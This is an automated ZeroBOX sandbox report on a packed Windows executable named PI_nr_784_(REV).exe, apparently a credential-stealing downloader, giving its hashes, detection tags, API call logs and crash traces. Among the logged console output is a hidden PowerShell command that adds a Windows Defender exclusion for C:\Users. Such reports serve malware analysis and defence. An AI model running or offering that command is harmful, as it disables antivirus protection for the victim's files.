popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

PI_nr_784_(REV).exe

Generic Malware UPX Malicious Library Downloader Antivirus HTTP ScreenShot Create Service KeyLogger Internet API P2P DGA Http API FTP Socket Escalate priviledges DNS Code injection Sniff Audio Steal credential AntiDebug PE File AntiVM PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Feb. 15, 2022, 10:11 a.m. Feb. 15, 2022, 10:14 a.m.
Size 713.0KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 4076ff3f80a82af9759475e07a94a808
SHA256 e007459a91b9644c7e08d6a9ada1bcbaa3e096eaf358456f38c98603e0526dca
CRC32 D8E11078
ssdeep 12288:FlZjc75hO32cpuG7NVM1/vcDy50eVmZyqGz2PASl0i1K2KtJr:3iz2puG7NVM1/kcVNqGzqFX1KtZ
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: C:\Users\test22>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: start
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /min C:\Users\test22\RzkqpszzO.bat
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: exit
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: C:\Users\test22>
console_handle: 0x0000000f
1 1 0

WriteConsoleW

 buffer: C:\Users\test22>
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: start
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: /min powershell -WindowStyle Hidden -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
console_handle: 0x00000007
1 1 0

WriteConsoleW

 buffer: exit
console_handle: 0x00000007
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00590128
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058fe68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058fe68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058fe68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058fa68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058fa68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058fa68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058fa68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058fa68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058fa68
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058f568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058f568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058f568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00590068
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00590068
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00590068
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058fc28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00590068
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00590068
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00590068
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00590068
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00590068
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00590068
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00590068
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058ff28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058ff28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058ff28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058ff28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058ff28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058ff28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058ff28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058ff28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058ff28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058ff28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058ff28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058ff28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058ff28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058ff28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058f6a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0058f6a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002f6d38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00351b40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00351b40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00351b40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00351d40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00351d40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00351d40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00351d40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00351d40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00351d40
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .itext
packer BobSoft Mini Delphi -> BoB / BobSoft
resource name MP3__MSIU
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e
RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632620
registers.edi: 1632708
registers.eax: 23117
registers.ebp: 1632680
registers.edx: 0
registers.ebx: 0
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632472
registers.edi: 1632568
registers.eax: 23117
registers.ebp: 1632532
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005342720
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7
RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632604
registers.edi: 1632692
registers.eax: 23117
registers.ebp: 1632664
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632728
registers.edi: 1632824
registers.eax: 23117
registers.ebp: 1632788
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005446144
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e
RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632620
registers.edi: 1632708
registers.eax: 23117
registers.ebp: 1632680
registers.edx: 0
registers.ebx: 0
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632472
registers.edi: 1632568
registers.eax: 23117
registers.ebp: 1632532
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005342720
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7
RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632604
registers.edi: 1632692
registers.eax: 23117
registers.ebp: 1632664
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2
RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560
RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632728
registers.edi: 1632824
registers.eax: 23117
registers.ebp: 1632788
registers.edx: 0
registers.ebx: 33751040
registers.esi: 33751040
registers.ecx: 2005446144
1 0 0

__exception__

 stacktrace: 
RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f
RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e
RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e
RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce
RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e
RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f
LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a
LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e
New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x74857322
0x20360ff
0x2034133
0x2034220
pi_nr_784_(rev)+0x67ebe @ 0x467ebe
pi_nr_784_(rev)+0x6b4e7 @ 0x46b4e7
pi_nr_784_(rev)+0x44db @ 0x4044db
pi_nr_784_(rev)+0x4543 @ 0x404543
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5

exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a
exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef
exception.instruction: cmp word ptr [esi], ax
exception.module: ntdll.dll
exception.exception_code: 0xc0000005
exception.offset: 193775
exception.address: 0x7785f4ef
registers.esp: 1632620
registers.edi: 1632708
registers.eax: 23117
registers.ebp: 1632680
registers.edx: 0
registers.ebx: 0
registers.esi: 33751040
registers.ecx: 1632512
1 0 0

__exception__

 stacktrace: 
